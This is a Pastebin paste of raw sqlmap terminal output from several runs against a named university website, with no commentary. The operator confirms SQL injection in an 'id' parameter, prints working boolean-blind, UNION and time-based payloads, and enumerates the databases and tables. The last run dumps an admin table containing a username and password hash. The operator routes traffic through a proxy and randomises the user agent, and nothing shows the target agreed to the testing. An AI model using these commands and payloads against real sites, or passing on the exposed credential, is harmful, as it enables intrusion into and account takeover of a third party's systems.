Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- root@P3eL-03:~/temp/sqlmap# ./sqlmap.py --proxy=http://172.17.0.18:8080/ -u "http://unimus.ac.id/konten.php?no_tab=4&&id=34&&lang=11" -p id --random-agent
- sqlmap/1.0-dev - automatic SQL injection and database takeover tool
- http://sqlmap.org
- [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
- [*] starting at 06:11:40
- [06:11:40] [INFO] fetched random HTTP User-Agent header from file '/root/temp/sqlmap/txt/user-agents.txt': Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.196.2 Safari/532.0
- [06:11:40] [INFO] testing connection to the target url
- [06:11:40] [INFO] heuristics detected web page charset 'ISO-8859-2'
- [06:11:40] [INFO] testing if the url is stable, wait a few seconds
- [06:11:42] [INFO] url is stable
- [06:11:42] [WARNING] heuristic test shows that GET parameter 'id' might not be injectable
- [06:11:42] [INFO] testing for SQL injection on GET parameter 'id'
- [06:11:42] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
- [06:11:47] [INFO] GET parameter 'id' is 'AND boolean-based blind - WHERE or HAVING clause' injectable
- [06:11:47] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause'
- [06:11:47] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
- [06:11:47] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause'
- [06:11:47] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)'
- [06:11:48] [INFO] testing 'MySQL > 5.0.11 stacked queries'
- [06:11:48] [INFO] testing 'PostgreSQL > 8.1 stacked queries'
- [06:11:48] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries'
- [06:11:48] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
- [06:11:59] [INFO] GET parameter 'id' is 'MySQL > 5.0.11 AND time-based blind' injectable
- [06:11:59] [INFO] testing 'MySQL UNION query (NULL) - 1 to 20 columns'
- [06:11:59] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other potential injection technique found
- [06:12:00] [INFO] ORDER BY technique seems to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test
- [06:12:01] [INFO] target url appears to have 4 columns in query
- [06:12:03] [INFO] GET parameter 'id' is 'MySQL UNION query (NULL) - 1 to 20 columns' injectable
- GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] n
- sqlmap identified the following injection points with a total of 32 HTTP(s) requests:
- ---
- Place: GET
- Parameter: id
- Type: boolean-based blind
- Title: AND boolean-based blind - WHERE or HAVING clause
- Payload: no_tab=4&&id=34' AND 7045=7045 AND 'ymrS'='ymrS&&lang=11
- Type: UNION query
- Title: MySQL UNION query (NULL) - 4 columns
- Payload: no_tab=4&&id=-7558' UNION ALL SELECT NULL,CONCAT(0x3a6c70743a,0x567674556942766f7764,0x3a656e7a3a),NULL,NULL#&&lang=11
- Type: AND/OR time-based blind
- Title: MySQL > 5.0.11 AND time-based blind
- Payload: no_tab=4&&id=34' AND SLEEP(5) AND 'zUvp'='zUvp&&lang=11
- ---
- [06:12:08] [INFO] the back-end DBMS is MySQL
- web server operating system: Linux Fedora 17 (Beefy)
- web application technology: Apache 2.2.22, PHP 5.3.10
- back-end DBMS: MySQL 5.0.11
- [06:12:08] [INFO] fetched data logged to text files under '/root/temp/sqlmap/output/unimus.ac.id'
- [*] shutting down at 06:12:08
- ============================================================================================
- root@P3eL-03:~/temp/sqlmap# ./sqlmap.py --proxy=http://172.17.0.18:8080/ -u "http://unimus.ac.id/konten.php?no_tab=4&&id=34&&lang=11" -p id --random-agent --threads 10 --banner
- sqlmap/1.0-dev - automatic SQL injection and database takeover tool
- http://sqlmap.org
- [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
- [*] starting at 06:13:50
- [06:13:50] [INFO] fetched random HTTP User-Agent header from file '/root/temp/sqlmap/txt/user-agents.txt': Mozilla/6.0 (Windows; U; Windows NT 7.0; en-US; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.9 (.NET CLR 3.5.30729)
- [06:13:51] [INFO] resuming back-end DBMS 'mysql'
- [06:13:51] [INFO] testing connection to the target url
- [06:13:51] [INFO] heuristics detected web page charset 'ISO-8859-2'
- sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
- ---
- Place: GET
- Parameter: id
- Type: boolean-based blind
- Title: AND boolean-based blind - WHERE or HAVING clause
- Payload: no_tab=4&&id=34' AND 7045=7045 AND 'ymrS'='ymrS&&lang=11
- Type: UNION query
- Title: MySQL UNION query (NULL) - 4 columns
- Payload: no_tab=4&&id=-7558' UNION ALL SELECT NULL,CONCAT(0x3a6c70743a,0x567674556942766f7764,0x3a656e7a3a),NULL,NULL#&&lang=11
- Type: AND/OR time-based blind
- Title: MySQL > 5.0.11 AND time-based blind
- Payload: no_tab=4&&id=34' AND SLEEP(5) AND 'zUvp'='zUvp&&lang=11
- ---
- [06:13:51] [INFO] the back-end DBMS is MySQL
- [06:13:51] [INFO] fetching banner
- web server operating system: Linux Fedora 17 (Beefy)
- web application technology: Apache 2.2.22, PHP 5.3.10
- back-end DBMS: MySQL 5.0.11
- banner: '5.5.20'
- [06:13:53] [INFO] fetched data logged to text files under '/root/temp/sqlmap/output/unimus.ac.id'
- [*] shutting down at 06:13:53
- ============================================================================================
- root@P3eL-03:~/temp/sqlmap# ./sqlmap.py --proxy=http://172.17.0.18:8080/ -u "http://unimus.ac.id/konten.php?no_tab=4&&id=34&&lang=11" -p id --random-agent --threads 10 --dbs
- sqlmap/1.0-dev - automatic SQL injection and database takeover tool
- http://sqlmap.org
- [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
- [*] starting at 06:14:43
- [06:14:43] [INFO] fetched random HTTP User-Agent header from file '/root/temp/sqlmap/txt/user-agents.txt': Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.11) Gecko/2009060308 Linux Mint/7 (Gloria) Firefox/3.0.11
- [06:14:43] [INFO] resuming back-end DBMS 'mysql'
- [06:14:43] [INFO] testing connection to the target url
- [06:14:44] [INFO] heuristics detected web page charset 'ISO-8859-2'
- sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
- ---
- Place: GET
- Parameter: id
- Type: boolean-based blind
- Title: AND boolean-based blind - WHERE or HAVING clause
- Payload: no_tab=4&&id=34' AND 7045=7045 AND 'ymrS'='ymrS&&lang=11
- Type: UNION query
- Title: MySQL UNION query (NULL) - 4 columns
- Payload: no_tab=4&&id=-7558' UNION ALL SELECT NULL,CONCAT(0x3a6c70743a,0x567674556942766f7764,0x3a656e7a3a),NULL,NULL#&&lang=11
- Type: AND/OR time-based blind
- Title: MySQL > 5.0.11 AND time-based blind
- Payload: no_tab=4&&id=34' AND SLEEP(5) AND 'zUvp'='zUvp&&lang=11
- ---
- [06:14:44] [INFO] the back-end DBMS is MySQL
- web server operating system: Linux Fedora 17 (Beefy)
- web application technology: Apache 2.2.22, PHP 5.3.10
- back-end DBMS: MySQL 5.0.11
- [06:14:44] [INFO] fetching database names
- [06:14:44] [INFO] the SQL query used returns 2 entries
- [06:14:44] [INFO] starting 2 threads
- [06:14:45] [INFO] retrieved: "unimux"
- [06:14:45] [INFO] retrieved: "information_schema"
- available databases [2]:
- [*] information_schema
- [*] unimux
- [06:14:45] [INFO] fetched data logged to text files under '/root/temp/sqlmap/output/unimus.ac.id'
- [*] shutting down at 06:14:45
- ============================================================================================
- root@P3eL-03:~/temp/sqlmap# ./sqlmap.py --proxy=http://172.17.0.18:8080/ -u "http://unimus.ac.id/konten.php?no_tab=4&&id=34&&lang=11" -p id --random-agent --threads 10 -D unimux --tables
- sqlmap/1.0-dev - automatic SQL injection and database takeover tool
- http://sqlmap.org
- [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
- [*] starting at 06:16:14
- [06:16:15] [INFO] fetched random HTTP User-Agent header from file '/root/temp/sqlmap/txt/user-agents.txt': Mozilla/4.0 (Windows; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)
- [06:16:15] [INFO] resuming back-end DBMS 'mysql'
- [06:16:15] [INFO] testing connection to the target url
- [06:16:15] [INFO] heuristics detected web page charset 'ISO-8859-2'
- sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
- ---
- Place: GET
- Parameter: id
- Type: boolean-based blind
- Title: AND boolean-based blind - WHERE or HAVING clause
- Payload: no_tab=4&&id=34' AND 7045=7045 AND 'ymrS'='ymrS&&lang=11
- Type: UNION query
- Title: MySQL UNION query (NULL) - 4 columns
- Payload: no_tab=4&&id=-7558' UNION ALL SELECT NULL,CONCAT(0x3a6c70743a,0x567674556942766f7764,0x3a656e7a3a),NULL,NULL#&&lang=11
- Type: AND/OR time-based blind
- Title: MySQL > 5.0.11 AND time-based blind
- Payload: no_tab=4&&id=34' AND SLEEP(5) AND 'zUvp'='zUvp&&lang=11
- ---
- [06:16:15] [INFO] the back-end DBMS is MySQL
- web server operating system: Linux Fedora 17 (Beefy)
- web application technology: Apache 2.2.22, PHP 5.3.10
- back-end DBMS: MySQL 5.0.11
- [06:16:15] [INFO] fetching tables for database: 'unimux'
- [06:16:16] [INFO] the SQL query used returns 14 entries
- [06:16:16] [INFO] starting 10 threads
- [06:16:18] [INFO] retrieved: "berita_ar"
- [06:16:18] [INFO] retrieved: "berita"
- [06:16:18] [INFO] retrieved: "info_ing"
- [06:16:18] [INFO] retrieved: "info"
- [06:16:18] [INFO] retrieved: "info_ar"
- [06:16:18] [INFO] retrieved: "konten"
- [06:16:18] [INFO] retrieved: "menu"
- [06:16:18] [INFO] retrieved: "other"
- [06:16:18] [INFO] retrieved: "admin"
- [06:16:18] [INFO] retrieved: "berita_ing"
- [06:16:19] [INFO] retrieved: "pengumuman"
- [06:16:19] [INFO] retrieved: "slide"
- [06:16:19] [INFO] retrieved: "tab"
- [06:16:19] [INFO] retrieved: "univ"
- Database: unimux
- [14 tables]
- +------------+
- | admin |
- | berita |
- | berita_ar |
- | berita_ing |
- | info |
- | info_ar |
- | info_ing |
- | konten |
- | menu |
- | other |
- | pengumuman |
- | slide |
- | tab |
- | univ |
- +------------+
- [06:16:19] [INFO] fetched data logged to text files under '/root/temp/sqlmap/output/unimus.ac.id'
- [*] shutting down at 06:16:19
- ============================================================================================
- root@P3eL-03:~/temp/sqlmap# ./sqlmap.py --proxy=http://172.17.0.18:8080/ -u "http://unimus.ac.id/konten.php?no_tab=4&&id=34&&lang=11" -p id --random-agent --threads 10 -D unimux -T admin --dump
- sqlmap/1.0-dev - automatic SQL injection and database takeover tool
- http://sqlmap.org
- [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
- [*] starting at 06:17:22
- [06:17:22] [INFO] fetched random HTTP User-Agent header from file '/root/temp/sqlmap/txt/user-agents.txt': Mozilla/5.0 (X11; U; Linux x86; rv:1.9.1.1) Gecko/20090716 Linux Firefox/3.5.1
- [06:17:23] [INFO] resuming back-end DBMS 'mysql'
- [06:17:23] [INFO] testing connection to the target url
- [06:17:23] [INFO] heuristics detected web page charset 'ISO-8859-2'
- sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
- ---
- Place: GET
- Parameter: id
- Type: boolean-based blind
- Title: AND boolean-based blind - WHERE or HAVING clause
- Payload: no_tab=4&&id=34' AND 7045=7045 AND 'ymrS'='ymrS&&lang=11
- Type: UNION query
- Title: MySQL UNION query (NULL) - 4 columns
- Payload: no_tab=4&&id=-7558' UNION ALL SELECT NULL,CONCAT(0x3a6c70743a,0x567674556942766f7764,0x3a656e7a3a),NULL,NULL#&&lang=11
- Type: AND/OR time-based blind
- Title: MySQL > 5.0.11 AND time-based blind
- Payload: no_tab=4&&id=34' AND SLEEP(5) AND 'zUvp'='zUvp&&lang=11
- ---
- [06:17:23] [INFO] the back-end DBMS is MySQL
- web server operating system: Linux Fedora 17 (Beefy)
- web application technology: Apache 2.2.22, PHP 5.3.10
- back-end DBMS: MySQL 5.0.11
- [06:17:23] [INFO] fetching columns for table 'admin' in database 'unimux'
- [06:17:23] [INFO] the SQL query used returns 3 entries
- [06:17:23] [INFO] starting 3 threads
- [06:17:24] [INFO] retrieved: "user","varchar(10)"
- [06:17:24] [INFO] retrieved: "pass","varchar(50)"
- [06:17:24] [INFO] retrieved: "ket","varchar(3)"
- [06:17:24] [INFO] fetching entries for table 'admin' in database 'unimux'
- [06:17:25] [INFO] the SQL query used returns 1 entries
- [06:17:25] [INFO] retrieved: "on","7cea491e8e55064a65f24cc1b4b69384","admin"
- [06:17:25] [INFO] analyzing table dump for possible password hashes
- recognized possible password hashes in column 'pass'. Do you want to crack them via a dictionary-based attack? [Y/n/q] n
- Database: unimux
- Table: admin
- [1 entry]
- +-----+-------+----------------------------------+
- | ket | user | pass |
- +-----+-------+----------------------------------+
- | on | admin | 7cea491e8e55064a65f24cc1b4b69384 |
- +-----+-------+----------------------------------+
- [06:17:29] [INFO] table 'unimux.admin' dumped to CSV file '/root/temp/sqlmap/output/unimus.ac.id/dump/unimux/admin.csv'
- [06:17:29] [INFO] fetched data logged to text files under '/root/temp/sqlmap/output/unimus.ac.id'
- [*] shutting down at 06:17:29
- ============================================================================================
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement